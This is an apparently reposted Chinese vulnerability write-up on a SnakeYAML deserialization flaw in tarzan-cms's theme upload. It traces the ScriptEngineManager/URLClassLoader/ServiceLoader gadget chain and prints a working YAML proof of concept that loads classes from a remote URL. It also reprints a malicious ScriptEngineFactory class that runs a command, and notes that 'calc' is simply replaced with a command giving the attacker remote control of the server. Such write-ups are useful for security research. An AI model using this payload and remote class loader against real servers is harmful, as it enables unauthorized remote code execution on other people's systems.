tarzan-cms:snakeyaml反序列化(ScriptEngineManager利用链)

admin 2026-01-14 23:17:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了tarzan-cms的SnakeYAML反序列化漏洞。系统在主题上传时解析theme.yaml调用Yaml.load(),导致反序列化。作者利用ScriptEngineManager结合URLClassLoader加载远程类,触发SPI机制执行命令。文章详细剖析了利用链原理,并提供了POC及恶意代码,验证了远程代码执行风险,建议修复该接口。 综合评分: 89 文章分类: 漏洞分析,代码审计,漏洞POC,应用安全,WEB安全


跟进upload(byte[])方法

image-20260112110323040

image-20260112110401589

继续跟进download来到control层

image-20260112110657440

找到upload接口

@ResponseBody
@PostMapping("/upload")
public ResponseVo upload(@RequestParam(value = "file", required = false) MultipartFile file) {
    return themeService.upload(file);
}

利用链分析

javax/script/ScriptEngineManager.java

反序列化类的层层调用

image-20260112112718491

image-20260112112854084

其中ServiceLoader

  • prefix指定了远程SPI加载器的访问目录
  • service指定了访问远程SPI加载器的具体文件
  • loader指定了远程SPI加载器的地址

image-20260112124609710

回来继续分析iterator()

看到调用lookupIterator.hasNext(),继续跟进hasNext()

image-20260112125423294

image-20260112125217563

继续跟进hasNextService()

image-20260112125505010

fullName就是完整的资源地址

最终就是ServiceLoader.java文件寻找以上调用内容

PREFIX:META-INF/services/
service:javax.script.ScriptEngineFactory
loader:http://attacker.com
fullname:META-INF/services/javax.script.ScriptEngineFactory

漏洞利用

web界面找到主题管理处有上传zip包功能点

image-20260112110810127

POC:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://ttzepj.dnslog.cn"]
  ]]
]

上传数据包测试

image-20260112131013934

得到回显

image-20260112131026834

image-20260112131105077

利用现成项目https://github.com/artsploit/yaml-payload

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
&nbsp; &nbsp;&nbsp;public&nbsp;List<String>&nbsp;getExtensions()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;List<String>&nbsp;getMimeTypes()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;List<String>&nbsp;getNames()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;getLanguageName()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;getLanguageVersion()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;Object&nbsp;getParameter(String key)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;getMethodCallSyntax(String obj, String m, String... args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;getOutputStatement(String toDisplay)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;getProgram(String... statements)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;ScriptEngine&nbsp;getScriptEngine()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }
}

image-20260112132356766

成功执行,实际环境中calc替换为上线命令即可

image-20260112133152622

image-20260112133015814


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:hutututu flowersboy《tarzan-cms:snakeyaml反序列化(ScriptEngineManager利用链)》

评论:0   参与:  0